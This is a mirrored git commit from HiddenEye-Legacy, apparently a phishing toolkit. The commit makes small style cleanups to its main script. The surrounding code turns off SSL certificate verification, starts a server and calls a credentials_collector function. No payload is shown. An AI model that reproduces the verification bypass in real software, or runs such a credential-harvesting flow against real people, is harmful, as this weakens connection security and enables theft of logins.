mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Code Cleaning
This commit is contained in:
parent
c786f9fe62
commit
81a966eeb8
|
@ -19,10 +19,10 @@ import ssl
|
||||||
|
|
||||||
simple_informant.license_handler()
|
simple_informant.license_handler()
|
||||||
agreement = simple_informant.terms_of_service_message()
|
agreement = simple_informant.terms_of_service_message()
|
||||||
if agreement != True:
|
if not agreement:
|
||||||
exit()
|
exit()
|
||||||
|
|
||||||
if(not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None)):
|
if not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None):
|
||||||
ssl._create_default_https_context = ssl._create_unverified_context
|
ssl._create_default_https_context = ssl._create_unverified_context
|
||||||
|
|
||||||
simple_informant.check_permissions()
|
simple_informant.check_permissions()
|
||||||
|
@ -48,7 +48,6 @@ if __name__ == "__main__":
|
||||||
server_runner.start_server(port)
|
server_runner.start_server(port)
|
||||||
server_menu.server_selection(port)
|
server_menu.server_selection(port)
|
||||||
|
|
||||||
|
|
||||||
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
|
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
|
||||||
simple_informant.credentials_collector(port)
|
simple_informant.credentials_collector(port)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user